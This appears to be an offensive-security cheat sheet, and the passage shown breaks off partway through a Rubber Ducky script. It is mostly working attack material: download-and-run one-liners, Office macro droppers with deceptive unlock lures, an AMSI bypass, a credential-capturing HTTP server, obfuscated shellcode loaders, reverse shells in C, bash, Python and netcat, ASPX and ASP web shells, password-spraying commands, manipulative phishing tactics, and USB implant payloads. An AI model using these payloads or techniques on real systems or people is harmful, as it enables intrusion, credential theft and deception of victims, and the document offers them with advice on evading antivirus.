This technique can be used to host files using SMB from the context of an already compromised host or from your Windows attacker system.

- (info) it is mandatory to have elevated privileges on the system.
- 1. Create a new folder: `mkdir C:\share`
- 2. Give that folder the correct permissions: `cmd /c 'icacls C:\share\ /T /grant Everyone:r'`
- 3. Turn the folder into a netwerk share: `New-SmbShare -Path C:\share -Name share -ReadAccess 'Everyone'`
- 4. Verify if the share is hosted correctly: `net share`
- 5. (optional) Delete created share:
    - 1. Make sure any conenctions from the 2nd host to the hosted share are stopped: `net use Z: /delete`
    - 2. Stop share hosting: `Remove-SmbShare -Name share -Force`
    - 3. Delete the share: `del -r C:\share`

Payload downloading & execution:

General one-liners to download and/or run payloads on the target system:

- Download file via http (requires that the payload is hosted via Apache and not python http.server) `bitsadmin /Transfer myJob http://<own ip>/file.txt C:\users\public\documents\file.txt`
- Download file via http (PowerShell): `iwr http://<own ip>/file.txt -usebasicparsing -outfile C:\users\public\documents\file.txt`
- Download file via http (may be flagged as suspicious now): `certutil.exe -urlcache -split -f http://<own ip>/file.txt C:\Users\Public\Documents\file.txt`
- Download file from SMB share: `net use Z: \\<IP host running the share>\share (/u:<username> <password>) && copy Z:\<file> C:\users\public\documents\<file>`
- Decode base64 encoded file back to original binary: `certutil -decode C:\users\public\documents\file.txt C:\users\public\documents\file.exe`
- Reflectively load and execute .NET binary (.exe or .dll) via PS (make sure the C# class is public): `[System.Reflection.Assembly]::Load((New-Object`

Net.WebClient).DownloadData("http://<URL>/payload.exe")); [HInjector.Program]::Main(@("<1 argument if required>", "2 argument"))

- Import and execute PowerShell script in memory: IEX(iwr -UseBasicParsing http://<own ip>:<port>/file.ps1)

Phishing payloads:

Create convincing MS Office document:

To trick a user in enabling Macro's, the following example tactics can be used that each leverage its own Office features.

- Auto switch between encypted and decrypted looking Word document:
  - 1. Create a Word document that shows the title and maybe some basic info but gives the illusion that the real content is encrypted (e.g. use RSA secured Logo, dummy RSa key, etc.)
  - 2. Create a second Word document that looks like the decrypted document
  - 3. With the decrypted text created, select all text and navigate to "Insert > Quick Parts > AutoTexts" and click "Save Selection to AutoText Gallery". In the "Create New Building Block" dialog box, enter the name "TheDoc":
  - 4. In the second document, delete the decypted text, copy the encypted looking text from the first created Word document and save it (make sure it is Word 97-2003-document)
  - 5. Add the following code as an Macro to switch from the encrypted looking file to the decrypted looking file the moment Macro's are enabled.

```
Sub Document_Open()
    SubstitutePage
End Sub

Sub AutoOpen()
    SubstitutePage
    <PAYLOAD PLACEHOLDER>
End Sub

Sub SubstitutePage()
    ActiveDocument.Content.Select
    Selection.Delete
    ActiveDocument.AttachedTemplate.AutoTextEntries("TheDoc").Insert Where:=Selection.Range, RichText:=True
End Sub
```

  - 6. Also add macro code where the placeholder is located (can be multiple lines) that will download and execute a payload (check the "Payload Development" section for options)
- Button method in Excel file:
  - 1. Add a button to the Excel sheet and link it to the macro
  - 2. Change the apparance of the Excel sheet so people will more likely click the button:
    - Main text body: "Note: this document requires Microsoft Office Macro functionality to be enabled to provide CryptEx® document security. To unlock this document please enable macros and click on the "Unlock Document" button to enter your password."
    - Button titel: UNLOCK DOCUMENT

Create macro for Office document:

- (info) use "Sub AutoOpen()" for Word and "Sub Auto_Open()" for Excel documents. Furthermore, for obfuscation reasons it is recommended to use a button instead of the AutoOpen (auto run) method.
- 1. Create a new Excel or Word file and save it as type "Excel 97-2003 Workbook" for Excel or "Word 97-2003-document (*.doc) for Word.
- 2. In the document select 'Macro's' in de 'Developers' tab and in the Macro's drop down menu select 'Macro's in' and select the name of the current file (otherwise the macro will not be saved in the current document).

- 3. Copy, combine and/or modify one of the following macro templates and change some variable names so it is not identified as malware by your mail provider:
    - **Excel + button + msg box + download and execute payload**:

```
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
        Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, _
        ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Sub b()
src = "http://10.111.10.5/payload.exe"
dlpath = "C:\Users\Public\Libraries\"
URLDownloadToFile 0, src, dlpath & "payload.exe", 0, 0
Shell ("<COMMAND>")
Var = InputBox("Enter Password: ", "CryptEx Security", 1)
MsgBox "Incorrect password (Excel error code: 3)" & vbNewLine & vbNewLine & "IT security will be notified
following further violations by the user: " & (Environ$("Username"))
End Sub
```

    - **Word + AutoRun + download and execute payload**:

```
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
        Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, _
        ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Sub AutoOpen()
src = "http://10.111.10.5/payload.txt"
dlpath = "C:\Users\Public\Libraries\"
URLDownloadToFile 0, src, dlpath & "payload.txt", 0, 0
Shell ("<COMMAND>")
End Sub
```

    - **Word + PS ommand + Break WINWORD.EXE parrent-child relationship:**

```
Sub AutoOpen()
  Dim proc As Object
  Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
  proc.Create "<COMMAND>"
End Sub
```

VBA payload creation framework Ivy:

Ivy is a payload creation framework for the execution of arbitrary VBA (macro) source code in memory. Ivy's loader does this by abusing programmatical access in the VBA object environment to load, decrypt, and execute shellcode.

- 1. Generate 64x and 86x shellcode
- 2. Choose a delivery technique and create the payload (Ivy):
    - bitadmin command: ./Ivy -Ix64 <stageless64.bin> -Ix86 <stageless32.bin> -P Local -O test.js -url <http://ACME.com> -delivery bits -stageless
    - MSHTA.exe command: ./Ivy -Ix64 <stageless64.bin> -Ix86 <stageless32.bin> -P Local -O test.hta -url <http://ACME.com> -delivery hta -stageless
    - Stylesheet payload: ./Ivy -Ix64 <stageless64.bin> -Ix86 <stageless32.bin> -P Local -O test.xsl -url <http://ACME.com> -delivery xsl -stageless
    - Macro web downloader: ./Ivy -Ix64 <stageless64.bin> -Ix86 <stageless32.bin> -P Local -O test.txt -url <http://ACME.com/test.txt> -delivery macro -stageless
- 3. If required host the payload and execute/deliver the payload.

Shortlink (lnk) payload:

- 1. Create a shortlink file that will run a command:
    - 1. On your own Windows desktop: right click > new > Shortcut
    - 2. Enter a string that will run a command like PowerShell or a LOLBAS like 'wmic process get brief /format:...'
    - 3. Enter a name and save it.

- 2. Use any delivery technique and trick the victim double clicking the .lnk file.

HTA payload:

- 1. Modify the following base template (e.g. create a convincing HTML file that suits the pretext) and save it as file.hta:

```
<html>
<head>
    <title>Hello World</title>
</head>
<body>
    <h2>Hallo World</h2>
    <p>Some meaningful text..</p>
</body>

<script language="VBScript">
    Function Pwn()
    Set shell = CreateObject("wscript.Shell")
    shell.run "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -nop -w hidden -c
""<command>"""
    End Function

    Pwn
</script>
</html>
```

- 2. (optional) Modify taskbar icon:
    - 1. Download 128x128 (32bit) image(.ico) (e.g. pdf icon)
    - 2. Modify the generated HTA payload in a text editor and add 'ICON="#"' to the <HTA ...> line (2nd line)
    - 3. Merge the .ico image and the .hta payload together (dont use PS): `copy /b <image.ico>+<payload.hta> <new_payload_icon>.hta`

VBS & JS Payload:

- (info) this technique is now flagged by most detection products. Furthermore, only VBS and JS work.
- 1. Download GadgetToJScript,replace the C# code in the 'Program.cs' file stored in the 'TestAssembly' folder with the following C# code that performs Process Hollowing Injection.
- 2. Change some variable names for signature evasion.
- 3. Generate a shellcode.bin payload (preferably already obfuscated), convert it to a base64 string and place it in the shellcode placeholder.
- 4. Build the project solution with VScode which creates GadgetToJScript.exe and TestAssembly.dll
- 5. Create a VBS or JS payload (GadgetToJScript): `.\GadgetToJScript.exe -w <js | vbs> -b -a C:\TestAssembly.dll -o payload`
- 6. Change some variable names in the generated JS or VBS scripts for signature evasion
- 7. (optional) for jscript payload, add the following code on top of the already generated payload for amsi bypass (amsi protection must be enabled on the target system otherwise the jscript will not work):

```
var sh = new ActiveXObject('WScript.Shell');
var key = "HKCU\\Software\\Microsoft\\Windows Script\\Settings\\AmsiEnable";
try{
    var AmsiEnable = sh.RegRead(key);
    if(AmsiEnable!=0){
    throw new Error(1, '');
    }
}catch(e){
    sh.RegWrite(key, 0, "REG_DWORD");
    sh.Run("cscript -e:{F414C262-6AC0-11CF-B6D1-00AA00BBBB58} "+WScript.ScriptFullName,0,1);
    sh.RegWrite(key, 1, "REG_DWORD");
    WScript.Quit(1);
}
```

- 8. (optional) test if payload works: `wscript.exe .\payload.<js|vbs>`

Windows Word credential theft (CVE-2019-0540):

This technique makes the target authenticate to your http server after opening the Word document by abusing multiple Word Quick Parts fields. This makes it possible to force Windows to popup an authentication prompt, send the authentication request to your http server and decode the basic authentication request and reveal the targets credentials in clear text.

- 1. Save the bellow script as auth.py and start the modified python http server with basic authentication on your own system: `python3 auth.py <server port>`

```
from http.server import BaseHTTPRequestHandler, HTTPServer
import sys
import base64

class Handler(BaseHTTPRequestHandler):
        def do_AUTHHEAD(self):
                self.send_response(401)
                self.send_header('WWW-Authenticate', 'Basic realm=\"Windows Document Security\"')
                self.send_header('Content-type', 'text/html')
                self.send_header('Access-Control-Allow-Methods', 'GET, OPTIONS')
                self.end_headers()

        def do_OPTIONS(self):
                self.send_response(200, "ok")
                self.send_header('Access-Control-Allow-Origin', '*')
                self.send_header('Access-Control-Allow-Methods', 'GET, OPTIONS')
                self.send_header("Access-Control-Allow-Headers", "X-Requested-With")
                self.send_header("Access-Control-Allow-Headers", "Content-Type")
                self.end_headers()

        def do_GET(self):
                self.do_AUTHHEAD()
                basicAuth = self.headers['Authorization']
                if basicAuth != None:
                        b64 = basicAuth.split()
                        key = base64.b64decode(b64[1])
                        print('[+] Received login credentials: ', str(key))
                else:
                        print("[+] A victim opened the malicious document..")

def main():
        port = int(sys.argv[1])
        try:
                httpd = HTTPServer(('', port), Handler)
                print('[*] Malicious HTTP server running on port {}..'.format(port))
                httpd.serve_forever()
        except KeyboardInterrupt:
                print('[*] Shutting down server..')
                httpd.socket.close()

if __name__ == '__main__':
        if len(sys.argv) == 2 and sys.argv[1].isdigit():
                main()
        else:
                print("[-] Usage: auth.py <port>")
                sys.exit()
```

- 2. Open a new or existing Mircosoft Office Word document and in the Header or Footer insert the 'IncludePicture' field (Insert > Quick Parts > Field) with an URL that points to your python http server
- 3. Insert a second field 'UserName' directly after the URL with no additional options. The final combination of fields should look something like: `{ INCLUDEPICTURE "http://<own server ip>:<port>/{ USERNAME \* MERGEFORMAT }" \d \* MERGEFORMAT }`
- 4. Hide the field string to change the text colour to white and save the document as .dot or .dotx.

- 5. Send the Word document to your target with a pretext that informs about the necessity to authenticate to view the content of the Document.

Linux payloads:

Obfuscated payload based on C code:

- 1. Create encoder:

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

unsigned char buf[] = "<SHELLCODE>";

int main (int argc, char **argv)
{
    char xor_key = 'J';
    int payload_length = (int) sizeof(buf);
    for (int i=0; i<payload_length; i++)
    {
        printf("\\x%02X",buf[i]^xor_key);
    }
    return 0;
}
```

- 2. Create shellcode and place it in the placeholder:
  - Run OS command: `msfvenom -p linux/x64/exec CMD="<COMMAND>" -f c`
  - Reverse shell payload: `msfvenom -p linux/x64/shell_reverse_tcp LHOST=<own ip> LPORT=<port> -f c`
- 3. Compile encoder: `gcc -o encoder.out encoder.c`
- 4. Run the encoded and copy/paste the string in the script below: `./encoded`
- 5. Create obfuscated payload:

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// Our obfuscated shellcode
unsigned char buf[] = "<ENCODED STRING>";

int main (int argc, char **argv)
{
    char xor_key = 'J';
    int arraysize = (int) sizeof(buf);
    for (int i=0; i<arraysize-1; i++)
    {
        buf[i] = buf[i]^xor_key;
    }
    int (*ret)() = (int(*)())buf;
    ret();
}
```

- 6. Compile payload (the extention of the payload doesn't matter and can be used to bypass some security restrictions): `gcc -m64 -fno-stack-protector -z execstack -o payload.out payload.c`

Reverse shell payload:

- 1. Create payload.c:

```
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
```

```
#include <arpa/inet.h>

#define REMOTE_ADDR "192.168.49.132"
#define REMOTE_PORT 443

int main(int argc, char *argv[])
{
    struct sockaddr_in sa;
    int s;

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
    sa.sin_port = htons(REMOTE_PORT);

    s = socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (struct sockaddr *)&sa, sizeof(sa));
    dup2(s, 0);
    dup2(s, 1);
    dup2(s, 2);

    execve("/bin/bash", 0, 0);
}
```

- 2. Compile payload: `gcc -m64 -fno-stack-protector -z execstack -o payload.elf payload.c`

Create Linux Shared Library payload:

- 1. Modify and save the following file as hax.c:

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h> // for setuid/setgid

static void runmahpayload() __attribute__((constructor));

void runmahpayload() {
    setuid(0);
    setgid(0);
    printf("DLL HIJACKING IN PROGRESS \n");
    system("<command to run>");
}
```

- 2. Compile the shared library object file.c: `gcc -Wall -fPIC -c -o hax.o hax.c`
- 3. Produce the shared library file: `gcc -shared -o libhax.so hax.o`

Reverse shell one-liners and scripts:

- Resh.now.sh script:
    - 1. Download and create script from resh.now.sh: `https://resh.now.sh/<own ip>:<port>`
    - 2. Use the following line as payload (URL encode if ran from a webshell):
        - If curl is present: `curl http://<own ip>:<port> | sh`
        - If wget is present: `wget http://<own ip>:8080/shells.sh -O resh.sh && chmod +x resh.sh && ./resh.sh`
- Bash: `bash -i >& /dev/tcp/10.0.0.1/8080 0>&1`
- Python: `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`
- Netcat: `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f`
- Obfuscated ELF binary that runs as new process: `msfvenom -p linux/x64/shell_reverse_tcp LHOST=<own ip> LPORT=443 prependfork=true -f elf -t 300 -e x64/xor_dynamic -o test.elf`

Privilege escalation payload:

- (info) this method can be used to escalate privileges as an alternative for a reverse shell.

- 1. Use the following command to create a bash script which sets the SUID bit for /bin/bash: `echo $'#!/bin/bash\n/bin/chmod u+s /bin/bash' > script.sh`
- 2. (optional) verify if the SUID bit (-rw[s]r-xr-x) was set successfully: `ls -lah /bin/bash`
- 3. Escalate current shell to root: `bash -p`

Web payloads:

ASP/ASPX shells:

- (info) for newer IIS web applications always use ASPX.
- Script: if uploading a file is possible (it is mandatory to modify some code and change virable names to bypass AV signature detection):
  - cmdasp.aspx
  - Cmdasp.asp
- One-liner: if you can only write:
  - ASPX:

```
<%@ Page Language="C#" Debug="true" Trace="false" %><br><%@ Import Namespace="System.Diagnostics"
%><br><%@ Import Namespace="System.IO" %><br><script Language="c#" runat="server">void
Page_Load(object sender, EventArgs e){}string ExcuteCmd(string arg){ProcessStartInfo psi = new
ProcessStartInfo();psi.FileName = "cmd.exe";psi.Arguments = "/c "+arg;psi.RedirectStandardOutput =
true;psi.UseShellExecute = false;Process p = Process.Start(psi);StreamReader stmrdr =
p.StandardOutput;string s = stmrdr.ReadToEnd();stmrdr.Close();return s;}void cmdExe_Click(object
sender, System.EventArgs
e){Response.Write("<pre>");Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));Response.Write("
</pre>");}</script><br><HTML><br><HEAD><br><title>awen asp.net webshell</title><br></HEAD><br><body
><br><form id="cmd" method="post" runat="server"><br><asp:TextBox id="txtArg" style="Z-INDEX: 101;
LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server"
Width="250px"></asp:TextBox><br><asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION:
absolute; TOP: 18px" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Button><br><asp:Label
id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px"
runat="server">Command:</asp:Label><br></form><br></body><br></HTML>
```

  - ASP:

```
<%@ Language=VBScript %><br><%Dim oScript:Dim oScriptNet:Dim oFileSys, oFile:Dim szCMD, szTempFile:On
Error Resume Next:Set oScript = Server.CreateObject("WSCRIPT.SHELL"):Set oScriptNet =
Server.CreateObject("WSCRIPT.NETWORK"):Set oFileSys =
Server.CreateObject("Scripting.FileSystemObject"):szCMD = Request.Form(".CMD"):If (szCMD <> "") Then
szTempFile = "C:\" & oFileSys.GetTempName( ):Call oScript.Run ("cmd.exe /c " & szCMD & " > " &
szTempFile, 0, True):Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False,
0)%><br><HTML><br><BODY><br><FORM action="<%= Request.ServerVariables("URL") %>"
method="POST"><br><input type=text name=".CMD" size=45 value="<%= szCMD %>"><br><input type=submit
value="Run"><br></FORM><br><PRE><br><%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName
%><br><%If (IsObject(oFile)) Then On Error Resume Next:Response.Write
Server.HTMLEncode(oFile.ReadAll):oFile.Close:Call oFileSys.DeleteFile(szTempFile,
True)%><br></BODY><br></HTML>
```

PHP/JSP shells:

- JSP Linux/Windows (default on kali): `/usr/share/webshells/jsp/cmdjsp.jsp`
- PHP Linux php-reverse-shell:
- PHP Windows php-reverse-shell (change variable "tmpdir" to a directory that is writeable by the current user)

Initial reconnaissance

Organisational recon:

Focus on collecting information about the organisation. This can include the people who work there, the organisational structure, site locations and business relations.

Gather information about the target:

- Rough number of employees;
- Look for employee names and positions on:
    - Organisation website
    - Social media platforms associated with the company or partners/sponsors
    - Tech community blogs (e.g. stack overflow)
- Business locations.

Gathering publicly available e-mail addresses and identify username confentions:

- Identify target company email addresses of potential employees via: https://hunter.io
- Check for email addresses based on earlier breaches: https://www.dehashed.com/
- Based on the identified email addresses, determine the username confention used (e.g. j.smith, john.smith)
- To get the companies specific mailing signatures and postal addresses, gather +/- 100 email addresses (e.g. from LinkedIn) and send them a not related email just to get a response in the hope the target's signature contains this information.

Google Dorks:

- Specifically searches that particular site and lists all the results for that site: `site:www.google.com`
- Search for subdomains and exclude already known ones: `site:*.domain.com -www`
- Search for keyword that is part of the targets domain name (e.g. login): `site:<domain name> inurl:<keyword>`
- Search for a keyword that is used on the targets webpage: `site:<domain name> intext:<keyword>`
- Search for a keyword that is used as a title on the targets webpage: `site:<domain name> intitle:<keyword>`
- Searches for a particular filetype (e.g. doc, pdf, txt, ppt, xml): `filetype:"pdf"`
- Searches for external links to pages: `link:"keyword"`
- Locate specific numbers in your searches: `numrange:321-325`
- Search within a particular date range: `filetype:pdf & (before:2000-01-01 after:2001-01-01)`
- Shows the version of the web page that Google has in its cache: `cache:www.google.com`

Meta data file finder via Google dorks:

MSDorkDump is a Google Dork File Finder that queries a specified domain name and variety of file extensions (pdf, doc, docx, etc), downloads , and then runs Exiftool on them to enumerate metadata.

- (info) due to Google's built in rate limiting, queries may end up timed out if too many are made in a short amount of time.
- Find and dump meta data from files (MSDorkDump): `python3 msdorkdump.py <domain>`

Technical recon:

Focus on collecting information about the technologies used by the target organisation using Passively or Actively methods.

Passive technical recon:

- Look for systems such as public-facing websites, mail servers and remote access solutions.
- Search for any vendor or product, particularly defensive ones (web proxies, email gateways, firewalls, antivirus etc.), via 3rd party sources such as Google, LinkedIn, Shodan and social media.

Active technical recon:

Identify root domains:

- 1. Scan for root domain names that are associated with the target organization:
    - Option 1: AMASS:
        - Identify other domains based on the specified domain whois record: `./amass intel -d <domain name> -whois`
        - Identify root domains based on ASN's:
            - 1. Identify ASN of the target company (this doesn't always work for each company): `./amass intel -org "<name company (e.g. Tesla)>"`
            - 2. Request root domains based on the ASN: `./amass intel -active -asn <asn number>`
    - Option 2: Gobuster: Brute force variations of the domain name based on the top level domain (add the top level domain name to the /etc/hosts file): `gobuster vhost -u http://<top level domain name (e.g. htb or local)> -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-20000.txt`
- 2. Convert the domain names to an IP address: `dig <domain.com>`

Identify subdomains:

- 1. Scan every root domain for existing subdomains:
    - Option 1: AMASS: `./amass enum -active -d <target domain or ip> (-ipv4)`
    - Option 2: wfuzz: the 'Host:' option is based on the request header name that contains the target ip/domain name. If you have a lot of results, use the '--hw' option to filter out the correct results based on their "Word" value: `wfuzz -u http://<target ip or domain> -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -H 'Host: FUZZ.<target ip or domain>' (--hw <12>)`
- 2. Determine if the identified domain name is externally accessible or it is an internal IP address.

OSINT service enumeration:

- Use Shodan to check what services are available on the target host

Get access to the target network

Exploit exposed services:

- If the External Reconnaissance phase showed services that are accessible over the internet like web applications or remote management services, make sure to enumerate those services for misconfigurations or bugs that may allow for a way in.

Password spraying:

Identify valid usernames:

Create username list:

- (info) if you found valid email addresses in the "External Reconnaissance" phase, determine the companies naming confention and use it while creating a username list.
- Create username list based on statistically likely usernames
- Create username list based on found employee names:
    - 1. Create a list of found employees full names (e.g. Bob Farmer)
    - 2. Create usernames (Namemash): `python namemash.py names.txt >> possible-usernames.txt`

Identify valid usernames via exposed Exchange server:

- 1. Enumerate the NetBIOS name and FQDN of the target (MailSniper.ps1): `Invoke-DomainHarvestOWA -ExchHostname <IP Exchange server>`
- 2. Use a timing attack to identify valid usernames (MailSniper.ps1): `Invoke-UsernameHarvestOWA -ExchHostname <IP target Exchange server> -Domain <domain> -UserList .\usernames.txt -OutFile valid-users.txt`

Identify valid credentials:

Create password list:

- (info) a pattern such as MonthYear (August2019), SeasonYear (Summer2019) and DayDate (Tuesday6) are very common.
- Manually create a small common wordlist based on basic patterns (MonthYear, SeasonYear, DayDate) and very common words/numbers
- Generate a wordlist for password spraying by running the goPassGen tool and follow wizard to create wordlist.
- Crawl target website to generate wordlist (ceWL): `cewl -m <minimal_word_length (e.g. 6)> -d 5 -w <output file.txt> <target ip or domain> --with-numbers`

Password spraying against exposed servers:

- (opsec alert): be aware that these authentication attempts may count towards the domain lockout policy for the users. Too many attempts in a short space of time is not only loud, but may also lock accounts out.

- Option 1: **Spray against Exchange EWS/OWA portal**: Password spraying attack using a user list and a single password against the Exchange EWS/OWA portal (use "Invoke-PasswordSprayOWA" against an OWA portal) (MailSniper.ps1): `Invoke-PasswordSprayEWS -ExchHostname <FQDN or IP exchange server> -UserList <path to userlist.txt> -Password <single password> -Threads 15 -OutFile valid-creds.txt`
- Option 2: **Spray against multiple mail server types**: (SprayingToolkit): `./atomizer.py <owa | imap | lync> <target mail server domain> <single password> <email_list.txt>`
- Option 3: **Spray against DC using Kerberos:**
    - 1. Elevate to local system because this method requires elevated privs to work.
    - 2. Upload a file called 'users.txt' containing usernames and a file 'passwords.txt' containing a single or few passwords to the directory 'C:\users\public\documents\'
    - 3. Start password spraying (for poshC2 use: run-exe SharpMapExec.Program SharpMapExec) (SharpMapExec): `SharpMapExec kerbspray /users:C:\users\public\documents\users.txt /passwords:C:\users\public\documents\passwords.txt /domain:<FQDN> /dc:<FQDN target DC>`
- Option 4: **Spray against RDP enabled targets:** Start RDP bruteforce (tool will only list successful logins) (Crowbar): `sudo python3 crowbar.py -b rdp -s <single target ip>/32 -u <username> -C <wordlist> -n 1`

Phishing:

Compose phishing email:

Tips for writing phishing email:

- **Context is important**: People respond well when an email matches the context of the mailbox it lands in. That is, work-related in the corporate mailbox, personal in the Gmail mailbox. Emails in the work mailbox pretending to be from HR or IT have a significantly higher conversion rate than those pretending to be from another company the reader buys personal products from.
- **Time matters**: As studies by email marketing companies have shown, the time of day a recipient receives an email drastically affects the effectiveness of the email. 8 am – 10 am and 3 pm – 4 pm is widely accepted as the most optimum times for the average person working a 9-5 but work patterns at your company could skew this. Find out what shifts people are working before you set the delivery schedule and adapt accordingly. Make sure your phishing email is at the top of the reader's mailbox when they open it to check emails.
- **Make it time critical**: If you're pushing a fake promotion with big discounts, make the offer expire in 4 hours or at midnight. If you're pretending to be someone's boss, implicitly threaten them with a disciplinary if they don't get it done on time. The shorter the deadline the more effective it can be. Self-preservation (keep reputation/salary) trumps company preservation (not getting hacked) almost every time when people believe it's real.
- **Mobile victims are easier to hook**: People using mobile devices are much easier to phish. The limited screen size reduces a lot of the protections that come with the desktop environment. People are often distracted and more inclined to simply do what they're asked, especially with a threat of loss if they don't respond in time.
- **Fake Authority**: If you pretend to be a peer or a supplier you'll have greater difficulty convincing someone to take action than if you pretend to be someone higher in their food chain. Their boss, CEO, the police or government, etc. are all common authority figures which can be used.

Create an identity:

- If you need a realistic looking profile picture:

Phishing email in HTML:

- (info): Using a hyperlink instead of adding a malicious attachment will increase the chance that the email will not be flagged by AV or marked as spam. Chrome will prevent downloading the dropper file by just clicking the hyperlink. The target user must right click on the hyperlink and open it as a new window/tab. This issue doesn't apply to Microsoft Egde/IE or FireFox.
- 1. Create malicious email body in html:

```
Hi mate,
<br><br>
You're not going to believe this! I think I found 100 bitcoins on an old hard drive.. <br>
Check <a href="http://192.168.2.162:8000/btcwallet.xls" target="_blank">this</a> sheet for the wallet
keys. The file is password protected and to see the content you need to enable macro's.
<br><br>
Let me know what you think.<br>
Bob
```

- 2. Use the email as an email body in SWAKS or use it in Thunderbird by clicking on "insert" and choose HTLM to create a html based email.

Create and host phishing payload:

Create phishing payload:

- Check the "Payload Development > Phishing payloads" section for payload options.

Host pishing payload:

- Check the "Payload Hosting" section for hosting options.

Sending email:

Internal phishing campaign:

- Send email with hyper-link: (swaks): `swaks --from <fake sender email address> --to <target e-mail address> --header 'Subject: <title of the mail>' --body email.body --add-header "MIME-Version: 1.0" --add-header "Content-Type: text/html" --server <IP mail server>`
- Send email with attachment: (swaks): `swaks --from <fake sender email address> --to <target e-mail address> --header 'Subject: <title of the mail>' --body email.body (--attach <attachment file name>) --server <IP mail server>`
- Send email to multiple addresses (swaks): `for email in $(cat <email_list.txt>); do swaks --from <confincing sender email> --to $email --header 'Subject: <email title>' --body email.body --server <fqdn or ip email server (can be any mail server)>; done`

External phishing campaign:

- (info) Use an well known email client to send the malicious email (it is always recommended to create your email with the same email client the target is using so you know how the email looks like).
- TODO

Physical access:

Kiosk breakout:

Interactive kiosks are computer systems that are generally intended to be used by the public (e.g. Internet browsing, information retrieval). These techniques also apply to Windows based systems.

- (info) requires physically interacting with the kiosk
- Check available app functionalities that may close the current dashboard
- Verify well known keyboard shortcuts (e.g. alt+tab) to change or close the dashboard
- If the app is running in a browser:
    - use keywords (e.g. about:config) and check the possibilities
    - modify the current URL and use directory listing to list available pages
    - check if the following URI schemes are allowed: chrome://, ftp://, mailto:, smb://, irc://
- In the case you have access to the file system, look for software that can run code or give access to new utilities

Deliver an implant:

- Option 1: **Break in**: Gain access to a physical location of the target and try to plug-in the implant.
- Option 2: **Mail**: Use post delivery services to send and deliver malicious hardware (e.g. USB stick) to the target with a convincing pre-text to get initial foothold (e.g. information on the USB stick is to confidential to deliver via email or make them feel privileged in some way). The payload can be the usb itself (e.g. rubber ducky) or malicious file on the drive.

USB type implants:

Bash Bunny reverse shell:

This technique starts a reverse shell back to your C2 server based on an obfuscated payload stored on the bash bunny. The process takes +/- 25 seconds to complete. Bash bunny switches: Arming Mode (switch closed to the usb connector); Payload 1 (switch closed to the back of the usb stick); Payload 2 (switch in the middle).

- (info) it is recommended to change the USB name of the BashBunny to something less suspicious like 'IRONKEY' (don't forget to rename the names in the scripts aswell).
- 1. Create an obfuscated .exe payload for your C2 server
- 2. (optional) if you want to copy the obfuscated payload to disk and execute it from there instead of directly from the bashbunny, create the following script (run.ps1) and reverence it in the bellow "payload.txt" file:

```
$Drive = (Get-WMIObject Win32_Volume | ? { $_.Label -eq 'IRONKEY' }).name
$user = $env:UserName
$Dropper = $Drive + "payloads\switch1\payload.exe"
$DestinationFile1 = "C:\users\public\documents\payload.exe"

If ((Test-Path $DestinationFile1) -eq $false){
        New-Item -ItemType File -Path $DestinationFile1 -Force
}

Copy-Item -Path $Dropper -Destination $DestinationFile1

Start-Process cmd -ArgumentList "/c C:\users\public\documents\payload.exe"
```

- 3. Create the bashbunny payload.txt file and specify if you want to run the payload.exe or run.ps1 script:

```
#Sets attack mode and stores current switch position
LED SETUP
ATTACKMODE HID STORAGE
GET SWITCH_POSITION
```

```
#Runs Powershell script
LED ATTACK
RUN WIN powershell -nop -ep bypass -w Hidden ".((gwmi win32_volume -f
'label=''IRONKEY''').Name+'payloads\\$SWITCH_POSITION\<payload.exe OR run.ps1>')"
LED FINISH
```

- 3. Switch the bash bunny to Arming Mode and upload 'payload.txt', 'payload.exe' and if required 'run.ps1' to: BashBunny > payloads > switch1
- 4. Change the bash bunny switch to Payload 1, plug it into the unlocked target system and wait until te led light is green.

Wifi Duck:

By emulating a USB keyboard like the rubber ducky, this device can be used to remote control a computer via WiFi, automate tasks or execute software to gain full access.

- (info) it is recommended to rename the Wifi hotspot name of the WifiDuck in the 'Settings' tab (e.g. iPhone van Jan).
- 1. Plug the Wifi Duck into a target computer, connect to the Wifi Duck wifi hotspot with the password "wifiduck" and browse to "192.168.4.1" to open the interface
- 2. Here you can add, save and run ducky scripts (in rubber ducky format) remotely on the target system (encoding of the script to .bin is done automatically):

```
LED 0 0 255
DELAY 1000
GUI r
DELAY 1000

STRING cmd
ENTER
DELAY 1000

STRING bitsadmin /transfer payload.exe http://10.10.10.10/payload.exe %APPDATA%\payload.exe &
%APPDATA%\payload.exe & timeout 20 & exit
ENTER
DELAY 1000
LED 0 153 0
DELAY 2000
LED 0 0 0
```

- 3. (optional) it is possible to autorun a stored script on the duck during the first connection (disable it in the "Settings" tab).

Rubber Ducky:

- (info) rubber ducky payloads can be found here:
- Option 1: **Windows reverse shell**:
    - 1. Create ducky script that downloads over HTTP the payload and starts a reverse shell:

```
DELAY 1000
